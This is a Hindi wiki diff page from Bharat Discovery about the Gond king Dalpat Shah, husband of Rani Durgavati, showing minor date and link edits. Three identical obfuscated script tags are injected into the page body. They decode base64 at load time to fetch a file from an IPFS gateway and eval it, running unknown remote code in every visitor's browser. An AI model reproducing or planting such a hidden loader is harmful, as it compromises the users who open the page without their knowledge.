"दलपतशाह" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
'''दलपतशाह''' अथवा 'दलपतिशाह' [[गोंड]] राजा संग्राम शाह के सबसे बड़े पुत्र थे। इनका [[विवाह संस्कार|विवाह]] [[भारतीय इतिहास]] की वीरांगना नारियों में गिनी जाने वाली [[रानी दुर्गावती|दुर्गावती]] से हुआ था।
+
'''दलपतशाह''' अथवा 'दलपतिशाह' [[गोंड]] राजा संग्राम शाह के सबसे बड़े पुत्र थे। इनका [[विवाह संस्कार|विवाह]] [[भारतीय इतिहास]] की वीरांगना नारियों में गिनी जाने वाली [[रानी दुर्गावती]] से हुआ था।
  
 
*दलपतशाह राजा संग्राम शाह के सबसे बड़े पुत्र थे।
 
*दलपतशाह राजा संग्राम शाह के सबसे बड़े पुत्र थे।
*1540 में संग्राम शाह की मृत्यु के पश्चात दलपतशाह राजा हुए।
+
*1540 ई. में संग्राम शाह की मृत्यु के पश्चात दलपतशाह राजा हुए।
*राजा दलपतशाह का विवाह 1542 में दुर्गावती से हुआ था।
+
*राजा दलपतशाह का विवाह 1542 ई. में दुर्गावती से हुआ था।
 
*दलपतशाह की [[रानी दुर्गावती]] उनके साथ राज्य के प्रशासन और विस्तार में सक्रिय भागीदारी निभाने लगी थीं।
 
*दलपतशाह की [[रानी दुर्गावती]] उनके साथ राज्य के प्रशासन और विस्तार में सक्रिय भागीदारी निभाने लगी थीं।
*दुर्भाग्य से कुछ वर्षों में ही दलपतशाह की मृत्यु हो गयी। उस समय उनके पुत्र वीरनारायण बहुत छोटे थे, ऐसे में रानी दुर्गावती को राजगद्दी संभालनी पड़ी।
+
*दुर्भाग्य से कुछ [[वर्ष|वर्षों]] में ही दलपतशाह की मृत्यु हो गयी। उस समय उनके पुत्र वीरनारायण बहुत छोटे थे, ऐसे में रानी दुर्गावती को राजगद्दी संभालनी पड़ी।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

13:29, 24 दिसम्बर 2014 का अवतरण

दलपतशाह अथवा 'दलपतिशाह' गोंड राजा संग्राम शाह के सबसे बड़े पुत्र थे। इनका विवाह भारतीय इतिहास की वीरांगना नारियों में गिनी जाने वाली रानी दुर्गावती से हुआ था।

  • दलपतशाह राजा संग्राम शाह के सबसे बड़े पुत्र थे।
  • 1540 ई. में संग्राम शाह की मृत्यु के पश्चात दलपतशाह राजा हुए।
  • राजा दलपतशाह का विवाह 1542 ई. में दुर्गावती से हुआ था।
  • दलपतशाह की रानी दुर्गावती उनके साथ राज्य के प्रशासन और विस्तार में सक्रिय भागीदारी निभाने लगी थीं।
  • दुर्भाग्य से कुछ वर्षों में ही दलपतशाह की मृत्यु हो गयी। उस समय उनके पुत्र वीरनारायण बहुत छोटे थे, ऐसे में रानी दुर्गावती को राजगद्दी संभालनी पड़ी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>